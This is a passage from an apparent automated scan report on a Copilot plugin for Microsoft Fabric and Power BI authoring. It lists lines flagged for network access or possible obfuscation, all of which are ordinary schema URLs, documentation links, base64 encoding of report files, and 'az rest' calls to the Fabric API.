  • Network accessline 846
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 881
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 882
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 987
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 988
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 1113
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 1114
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 1297
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 1298
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/image.md

  • Network accessline 32
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 33
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 104
    - The URL must point **directly to an image file** (e.g., ending in `.jpg`, `.png`, `.gif`, `.bmp`, `.svg`), not a webpage containing the image. - Use **HTTPS** URLs — HTTP may work in Desktop but can be blocked by the Power BI Service. - R
  • Network accessline 106
    - Reference: https://community.fabric.microsoft.com/t5/Desktop/Image-URL-creation/td-p/1910627
  • Network accessline 109
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 110
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 200
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 201
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/map.md

  • Network accessline 40
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 41
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/powerbi-desktop.md

  • Network accessline 152
    |--------------|---------|--------| | `"status": "not_connected"` | No Desktop Bridge instance is discoverable | Open the report with `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop | | `NO_BRIDGE` or repeated `connect
  • Network accessline 153
    | `"status": "not_connected"` | No Desktop Bridge instance is discoverable | Open the report with `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop | | `NO_BRIDGE` or repeated `connect ENOENT \\.\pipe\pbi-desktop-bridge-
  • Network accessline 154
    | `NO_BRIDGE` or repeated `connect ENOENT \\.\pipe\pbi-desktop-bridge-<pid>` | Desktop is running, but the bridge pipe is not available | In Desktop, open **File > Options and settings > Options > Preview features**, enable **Enable externa
  • Network accessline 155
    | `AMBIGUOUS_DESKTOP_INSTANCE` | More than one bridge instance is available | Run `powerbi-desktop status`, choose the intended PID, and retry with `--pid` | | `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge method
  • Network accessline 156
    | `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge method | Tell the user Desktop is stale/unsupported for this workflow and link [Power BI report authoring docs](https://aka.ms/Report_Authoring_skill_LearnDocs) for

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/shape.md

  • Network accessline 18
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 19
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 160
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 161
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/slicers.md

  • Network accessline 67
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 68
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 273
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 274
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/table.md

  • Network accessline 24
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 25
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 78
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 79
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/textbox.md

  • Network accessline 14
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 15
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 62
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 63
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/theming.md

  • Network accessline 132
    Set `"$schema"` to a published `reportThemeSchema-<major>.<minor>.json` from the [powerbi-desktop-samples repo](https://github.com/microsoft/powerbi-desktop-samples/tree/main/Report%20Theme%20JSON%20Schema/).
  • Network accessline 133
    [powerbi-desktop-samples repo](https://github.com/microsoft/powerbi-desktop-samples/tree/main/Report%20Theme%20JSON%20Schema/).
  • Network accessline 531
    "icons": {   "customFire": { "url": "https://example.com/fire.png", "description": "Fire indicator" },
  • Network accessline 532
    "customFire": { "url": "https://example.com/fire.png", "description": "Fire indicator" },
  • Network accessline 533
    "customStar": { "url": "https://example.com/star.svg", "description": "Star rating" }

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/assets/base.json

  • Network accessline 1
    {   "$schema": "https://raw.githubusercontent.com/microsoft/powerbi-desktop-samples/main/Report%20Theme%20JSON%20Schema/reportThemeSchema-2.153.json",
  • Network accessline 2
    "$schema": "https://raw.githubusercontent.com/microsoft/powerbi-desktop-samples/main/Report%20Theme%20JSON%20Schema/reportThemeSchema-2.153.json",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-management/SKILL.md

  • Possible obfuscationline 52
    | `base64` | Encode/decode PBIR file content for definition payloads | Built-in on Linux/macOS · Windows: use PowerShell `[Convert]::ToBase64String()` / `FromBase64String()` |
  • Network accessline 55
    > > ```bash > az version 2>/dev/null || echo "INSTALL: https://learn.microsoft.com/cli/azure/install-azure-cli"
  • Network accessline 56
    > ```bash > az version 2>/dev/null || echo "INSTALL: https://learn.microsoft.com/cli/azure/install-azure-cli" > ```
  • Network accessline 57
    > az version 2>/dev/null || echo "INSTALL: https://learn.microsoft.com/cli/azure/install-azure-cli"
  • Network accessline 64
    | API | Audience (`--resource`) | |---|---| | Fabric Report Items API | `https://api.fabric.microsoft.com` |
  • Network accessline 66
    | Fabric Report Items API | `https://api.fabric.microsoft.com` |
  • Network accessline 86
    REPORT_NAME="Sales Report" REPORT_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 87
    REPORT_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 88
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 89
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports" \
  • Network accessline 104
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 105
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 106
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports" \
  • Network accessline 121
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 122
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 123
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID"
  • Network accessline 139
    RESPONSE=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 140
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 141
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID/getDefinition?format=PBIR" \
  • Network accessline 180
    rel="${file#./report-definition/}"   payload=$(base64 < "$file" | tr -d '\n')   jq -nc --arg p "$rel" --arg b "$payload" \
  • Network accessline 181
    payload=$(base64 < "$file" | tr -d '\n')   jq -nc --arg p "$rel" --arg b "$payload" \     '{path:$p, payload:$b, payloadType:"InlineBase64"}'
  • Network accessline 182
    jq -nc --arg p "$rel" --arg b "$payload" \
  • Network accessline 193
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 194
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 195
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports" \
  • Network accessline 221
    rel="${file#./report-definition/}"   payload=$(base64 < "$file" | tr -d '\n')   jq -nc --arg p "$rel" --arg b "$payload" \
  • Network accessline 222
    payload=$(base64 < "$file" | tr -d '\n')   jq -nc --arg p "$rel" --arg b "$payload" \     '{path:$p, payload:$b, payloadType:"InlineBase64"}'
  • Network accessline 223
    jq -nc --arg p "$rel" --arg b "$payload" \
  • Network accessline 231
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 232
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 233
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID/updateDefinition" \
  • Network accessline 260
    az rest --method patch \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 261
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 262
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID" \
  • Network accessline 275
    # Soft delete (recoverable) az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 276
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 277
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 278
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID"
  • Network accessline 280
    # Hard delete (permanent) az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 281
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 282
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 283
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID?hardDelete=true"
  • Network accessline 316
    For more details, see [Long-Running Operations](https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation).
  • Network accessline 347
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 348
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 362
    - **ALL PBIR content MUST go through the `powerbi-report-authoring` skill** — this is the single most important rule. Whether creating a brand-new report or modifying an existing one, every PBIR file (`definition.pbir`, `report.json`, `vers
  • Network accessline 363
    - **Always pass `--resource "https://api.fabric.microsoft.com"`** to `az rest` — omitting it causes silent auth failures.
  • Network accessline 524
    | Error | Cause | Fix | |---|---|---| | `401 Unauthorized` | Wrong or missing `--resource` audience | Always pass `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 525
    |---|---|---| | `401 Unauthorized` | Wrong or missing `--resource` audience | Always pass `--resource "https://api.fabric.microsoft.com"` | | `403 Forbidden` | Insufficient permissions | Check workspace role (Contributor+ for write ops) |
  • Network accessline 526
    | `401 Unauthorized` | Wrong or missing `--resource` audience | Always pass `--resource "https://api.fabric.microsoft.com"` |

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/SKILL.md

  • Network accessline 397
    SERVER="sql-prod"    CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 398
    CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 399
    --url "https://api.fabric.microsoft.com/v1/connections" \

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/connection-binding.md

  • Network accessline 5
    This API supersedes the legacy Power BI [Bind to Gateway in Group](https://learn.microsoft.com/rest/api/power-bi/datasets/bind-to-gateway-in-group). It supports gateway, cloud, virtual network, automatic, and unbind (`None`) connectivity ty
  • Network accessline 7
    > **Reference docs** > - [Bind Semantic Model Connection](https://learn.microsoft.com/rest/api/fabric/semanticmodel/items/bind-semantic-model-connection)
  • Network accessline 8
    > - [Bind Semantic Model Connection](https://learn.microsoft.com/rest/api/fabric/semanticmodel/items/bind-semantic-model-connection)
  • Network accessline 9
    > - [List Item Connections](https://learn.microsoft.com/rest/api/fabric/core/items/list-item-connections)
  • Network accessline 10
    > - [List Connections](https://learn.microsoft.com/rest/api/fabric/core/connections/list-connections)
  • Network accessline 11
    > - [Create Connection](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection)
  • Network accessline 18
    - Delegated scope: `SemanticModel.ReadWrite.All` or `Item.ReadWrite.All`. - Identities: User, Service Principal, Managed Identity. - Fabric audience for `az rest`: `https://api.fabric.microsoft.com`.
  • Network accessline 20
    - Fabric audience for `az rest`: `https://api.fabric.microsoft.com`.
  • Network accessline 31
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/semanticModels/{semanticModelId}/bindConnection
  • Network accessline 87
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 88
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 89
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/connections"
  • Network accessline 97
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 98
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 99
    --url "https://api.fabric.microsoft.com/v1/connections"
  • Network accessline 106
    If no matching connection exists, create one with [Create Connection](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection) before continuing.
  • Network accessline 130
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 131
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 132
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/semanticModels/$MODEL_ID/bindConnection" \
  • Network accessline 185
    - Submit **one request per data source reference**. The API rejects bulk payloads. - Use the **exact** `connectionDetails.type` and `connectionDetails.path` from `List Item Connections` - do not reformat, lowercase, or otherwise normalize t
  • Network accessline 186
    - Use the **exact** `connectionDetails.type` and `connectionDetails.path` from `List Item Connections` - do not reformat, lowercase, or otherwise normalize them. - Authenticate against the Fabric audience (`https://api.fabric.microsoft.com`
  • Network accessline 187
    - Authenticate against the Fabric audience (`https://api.fabric.microsoft.com`), not the Power BI audience.

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/dax-perf-decision-guide.md

  • Network accessline 382
    - [Analysis Services trace events](https://learn.microsoft.com/analysis-services/trace-events/analysis-services-trace-events)
  • Network accessline 383
    - [Horizontal fusion in Power BI and Analysis Services](https://powerbi.microsoft.com/en-us/blog/announcing-horizontal-fusion-a-query-performance-optimization-in-power-bi-and-analysis-services/)
  • Network accessline 384
    - [Understand Direct Lake query performance](https://learn.microsoft.com/fabric/fundamentals/direct-lake-understand-storage)

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/dax-perf-patterns.md

  • Network accessline 804
    Two approaches: - **Spark:** `spark.conf.set("spark.sql.parquet.vorder.default", "true")`, then run `OPTIMIZE` for existing Delta tables. - **Fabric resource profile:** Use the [`readHeavyForPBI` resource profile](https://learn.microsoft.co
  • Network accessline 806
    - **Fabric resource profile:** Use the [`readHeavyForPBI` resource profile](https://learn.microsoft.com/en-us/fabric/data-engineering/configure-resource-profile-configurations), which enables V-Order-oriented write settings for Power BI rea

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/direct-lake-guidelines.md

  • Network accessline 34
    let     Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])
  • Network accessline 35
    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])
  • Network accessline 44
    expression 'DL_Sales_Named_Expression' = 		let 		    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])
  • Network accessline 45
    let 		    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) 		in
  • Network accessline 46
    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/metadata-discovery.md

  • Network accessline 182
    - **Issue:** `INFO.ROLEMEMBERSHIPS()` returns empty or incomplete results.   - **Cause:** Role members are assigned at the service level (Entra ID) after deployment, not in the model definition — so DAX `INFO` functions cannot reliably surf
  • Network accessline 184
    - **Fix:** Redirect to [Manage role membership documentation](https://learn.microsoft.com/en-us/fabric/security/service-admin-row-level-security#manage-role-membership) for current guidance on role membership management.

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/pbip.md

  • Network accessline 38
    {     "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json",
  • Network accessline 39
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json",
  • Network accessline 46
    Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json) for more details.
  • Network accessline 57
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 58
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 71
    {     "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 72
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json",
  • Network accessline 86
    Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/item/report/definitionProperties/2.0.0/schema.json) for more details.
  • Network accessline 95
    {     "$schema": "https://developer.microsoft.com/json-schemas/fabric/pbip/pbipProperties/1.0.0/schema.json",
  • Network accessline 96
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/pbip/pbipProperties/1.0.0/schema.json",
  • Network accessline 111
    Refer to [JSON Schema](https://github.com/microsoft/json-schemas/blob/main/fabric/pbip/pbipProperties/1.0.0/schema.json) for more details.
  • Network accessline 117
    - [PBIP docs](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-overview)
  • Network accessline 118
    - [PBIP SemanticModel folder](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-dataset)
  • Network accessline 119
    - [PBIP Report folder](https://learn.microsoft.com/en-us/power-bi/developer/projects/projects-report)

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/semantic-model-ai-readiness.md

  • Network accessline 33
    **Important:** When incapable of editing any metadata, refer the user to [copilot-prepare-data-ai](https://learn.microsoft.com/power-bi/create-reports/copilot-prepare-data-ai) documentation.
  • Network accessline 140
    > **Editing path:** Don't edit verified answers automatically. Instead suggest good candidates for verified answers and ask the user to configure manually in the tool. See [copilot-prepare-data-ai](https://learn.microsoft.com/power-bi/creat

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/semantic-model-rest-api.md

  • Network accessline 8
    API_FABRIC="https://api.fabric.microsoft.com/v1"
  • Network accessline 9
    API_PBI="https://api.powerbi.com/v1.0/myorg"
  • Network accessline 10
    RESOURCE_PBI="https://analysis.windows.net/powerbi/api"
  • Network accessline 11
    RESOURCE_FABRIC="https://api.fabric.microsoft.com"
  • Network accessline 22
    | API                   | Audience (`--resource`)                    | Use For                                                                      | | --------------------- | ------------------------------------------ | -------------------
  • Network accessline 23
    | --------------------- | ------------------------------------------ | ---------------------------------------------------------------------------- | | Fabric Items API      | `https://api.fabric.microsoft.com`         | Create/get/update/d
  • Network accessline 24
    | Fabric Items API      | `https://api.fabric.microsoft.com`         | Create/get/update/delete semantic model definitions, list items, LRO polling |
  • Network accessline 25
    | Power BI Datasets API | `https://analysis.windows.net/powerbi/api` | Refresh, data sources, parameters, permissions, operational properties       |
  • Network accessline 78
    {     "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json",
  • Network accessline 79
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json",
  • Network accessline 147
    # 1. Request definition - may return 200 (inline) or 202 (LRO) RESPONSE=$(az rest --method post --verbose \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 148
    RESPONSE=$(az rest --method post --verbose    --resource "https://api.fabric.microsoft.com"
  • Network accessline 149
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 185
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 186
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 187
    --resource "https://api.fabric.microsoft.com" \

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/tmdl-guidelines.md

  • Network accessline 124
    expression DL_Lakehouse = 	let 		Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true])
  • Network accessline 125
    let 		Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true]) 	in
  • Network accessline 126
    Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/<WorkspaceId>/<LakehouseId>", [HierarchicalNavigation=true])

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/search-consumption-cli/SKILL.md

  • Network accessline 73
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 74
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 75
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 76
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 85
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 86
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 87
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 103
    For the full list of supported item types, see the [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search).
  • Network accessline 114
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 115
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 116
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 117
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 130
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 131
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 132
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 133
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 156
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 157
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 158
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 159
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 169
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 170
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 171
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 172
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 180
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 181
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 182
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 183
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 193
    | Symptom | Cause | Fix | |---|---|---| | `401 Unauthorized` | Wrong token audience or expired session | Verify `--resource "https://api.fabric.microsoft.com"`. Run `az login`. |
  • Network accessline 194
    |---|---|---| | `401 Unauthorized` | Wrong token audience or expired session | Verify `--resource "https://api.fabric.microsoft.com"`. Run `az login`. | | `InvalidPageSize` | `pageSize` outside 1–1000 | Use a value between 1 and 1000. |
  • Network accessline 195
    | `401 Unauthorized` | Wrong token audience or expired session | Verify `--resource "https://api.fabric.microsoft.com"`. Run `az login`. |
  • Network accessline 196
    | `InvalidPageSize` | `pageSize` outside 1–1000 | Use a value between 1 and 1000. | | `InvalidFilter` | Bad filter syntax | Only `eq`, `ne`, `or`, and parentheses. Don't mix `eq` with `and`, or `ne` with `or`. Don't mix `eq` and `ne` in the
  • Network accessline 197
    | `InvalidFilter` | Bad filter syntax | Only `eq`, `ne`, `or`, and parentheses. Don't mix `eq` with `and`, or `ne` with `or`. Don't mix `eq` and `ne` in the same filter. | | `TypeNotFound` | Unrecognized item type in filter | Check spelling
  • Network accessline 198
    | `TypeNotFound` | Unrecognized item type in filter | Check spelling (case-sensitive). See [API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for valid types. |

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/SKILL.md

  • Network accessline 397
    SERVER="sql-prod"    CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 397
    SERVER="sql-prod"    CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 398
    CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 398
    CONN_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 399
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 399
    --url "https://api.fabric.microsoft.com/v1/connections" \

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring/references/connection-binding.md

  • Network accessline 5
    This API supersedes the legacy Power BI [Bind to Gateway in Group](https://learn.microsoft.com/rest/api/power-bi/datasets/bind-to-gateway-in-group). It supports gateway, cloud, virtual network, automatic, and unbind (`None`) connectivity ty
  • Network accessline 7
    > **Reference docs** > - [Bind Semantic Model Connection](https://learn.microsoft.com/rest/api/fabric/semanticmodel/items/bind-semantic-model-connection)
  • Network accessline 8
    > - [Bind Semantic Model Connection](https://learn.microsoft.com/rest/api/fabric/semanticmodel/items/bind-semantic-model-connection)
  • Network accessline 9
    > - [List Item Connections](https://learn.microsoft.com/rest/api/fabric/core/items/list-item-connections)
  • Network accessline 10
